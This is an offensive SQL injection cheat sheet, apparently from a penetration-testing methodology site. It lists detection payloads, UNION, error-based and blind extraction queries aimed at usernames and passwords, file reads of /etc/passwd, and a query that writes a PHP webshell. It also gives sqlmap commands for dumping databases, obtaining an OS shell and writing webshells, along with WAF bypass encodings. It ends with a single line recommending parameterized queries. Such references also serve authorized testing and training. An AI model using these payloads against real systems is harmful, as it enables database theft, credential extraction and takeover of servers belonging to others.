SQL Injection (SQLi)
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Web injection point
SQL injection occurs when user-supplied input is concatenated directly into SQL queries without parameterization or proper sanitization. The database interprets attacker-controlled input as SQL syntax rather than data. Because the query is constructed at runtime using string concatenation ("SELECT * FROM users WHERE id = " + user_input), injecting SQL metacharacters such as single quotes, comments, and operators causes the database to alter its execution logic. The attacker can manipulate query logic, extract arbitrary data from any table the database user can access, write files to disk, or execute OS commands depending on the database type and configuration.
Detection · Manual Payloads
Inject these one at a time into any user-controlled parameter (GET, POST, Cookie, Header). An error, changed response, or behavioral difference confirms injection.
'
''
`
,
"
\
')
'))
-
#
/*
/*!
' OR '1'='1
' OR 1=1--
' OR 1=1#
" OR 1=1--
' OR 'a'='a
1' ORDER BY 1--
1' ORDER BY 10-- (keep increasing until error → column count = last success)
1' UNION SELECT NULL--
1' UNION SELECT NULL,NULL--
1 AND 1=1
1 AND 1=2 (different response from above = Boolean injection confirmed)
1' AND SLEEP(5)-- (time delay = blind injection confirmed)
Error signatures by DBMS
| DBMS | Signature |
|---|---|
| MySQL | You have an error in your SQL syntax |
| MySQL | Warning: mysql_fetch |
| MSSQL | Unclosed quotation mark after the character string |
| MSSQL | Incorrect syntax near |
| Oracle | ORA-01756: quoted string not properly terminated |
| PostgreSQL | ERROR: unterminated quoted string |
| SQLite | SQLite3::query(): near |
| Generic | SQL syntax error, unexpected end of SQL command |
Exploitation
Union-Based (Requires visible output in response)
-- Step 1: Determine column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 5-- (error at 5 = 4 columns)
-- Step 2: Find visible columns
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 'a','b','c','d'--
-- Step 3: Extract data
' UNION SELECT username,password,NULL,NULL FROM users--
' UNION SELECT user(),database(),version(),NULL--
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
-- File read (MySQL, requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL,NULL--
-- Write webshell
' UNION SELECT "<?php system($_GET['c']); ?>",NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--Error-Based (No visible output needed · data in error message)
MySQL updatexml()
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)--
MySQL extractvalue()
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e))--
Boolean Blind
Confirm: true vs false responses differ
' AND 1=1-- (normal page)
' AND 1=2-- (different page = blind confirmed)
Extract data character by character
' AND SUBSTRING(database(),1,1)='a'--
' AND ASCII(SUBSTRING(database(),1,1))>97--
' AND (SELECT COUNT(*) FROM users)>0--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
Time-Based Blind
MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
MSSQL
'; WAITFOR DELAY '0:0:5'--
1; IF (1=1) WAITFOR DELAY '0:0:5'--
PostgreSQL
'; SELECT pg_sleep(5)--
1; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Oracle
'; SELECT DBMS_PIPE.RECEIVE_MESSAGE('a',5) FROM DUAL--sqlmap Full Command Reference
GET parameter
sqlmap -u "http://<TARGET>/page.php?id=1" --batch
POST parameter
sqlmap -u "http://<TARGET>/login.php" --data="user=admin&pass=test" --batch
Cookie injection
sqlmap -u "http://<TARGET>/profile" --cookie="id=1; session=abc" -p id --batch
Header injection (User-Agent, Referer, X-Forwarded-For)
sqlmap -u "http://<TARGET>/" -H "User-Agent: *" --level=3 --batch
sqlmap -u "http://<TARGET>/" -H "X-Forwarded-For: *" --batch
From Burp Suite saved request (mark injection point with *)
sqlmap -r request.txt --batch
Enumerate databases → tables → dump
sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dbs
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> --tables
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> -T users --columns
sqlmap -u "http://<TARGET>/page.php?id=1" --batch -D <DB> -T users -C username,password --dump
Dump everything
sqlmap -u "http://<TARGET>/page.php?id=1" --batch --dump-all
Get OS shell
sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch
Read file
sqlmap -u "http://<TARGET>/page.php?id=1" --file-read=/etc/passwd --batch
Write webshell
sqlmap -u "http://<TARGET>/page.php?id=1" \ --file-write=/kali/shell.php \ --file-dest=/var/www/html/shell.php --batch
Specify DBMS (saves time)
sqlmap -u "http://<TARGET>/page.php?id=1" --dbms=mysql --batch
Increase aggression
sqlmap -u "http://<TARGET>/page.php?id=1" --level=5 --risk=3 --batch
Bypass WAF · tamper scripts
sqlmap -u "http://<TARGET>/page.php?id=1" --tamper=space2comment --batch
sqlmap -u "http://<TARGET>/page.php?id=1" --tamper=between,randomcase,space2comment --batch
WAF Bypass Techniques
Case variation
SeLeCt UsEr()
UNION/**/SELECT
Comments as whitespace
UNION/**/SELECT/**/NULL
URL encoding
UNION%20SELECT%20NULL
%55NION%20%53ELECT
Double URL encoding
%2555NION %2553ELECT
Inline comments
UN/**/ION SE/**/LECT
Keyword splitting (MySQL specific)
UNIO/**/N SELECT
Whitespace alternatives
UNION%09SELECT%09NULL (tab)
UNION%0ASELECT%0ANULL (newline)
UNION%0DSELECT%0DNULL (carriage return)
Scientific notation for numbers (MySQL)
1e0 UNION SELECT NULL-- (1e0 = 1)
Hex encoding strings
' UNION SELECT 0x61646d696e-- (0x61646d696e = 'admin')
Use parameterized queries / prepared statements. Never concatenate user input into SQL strings.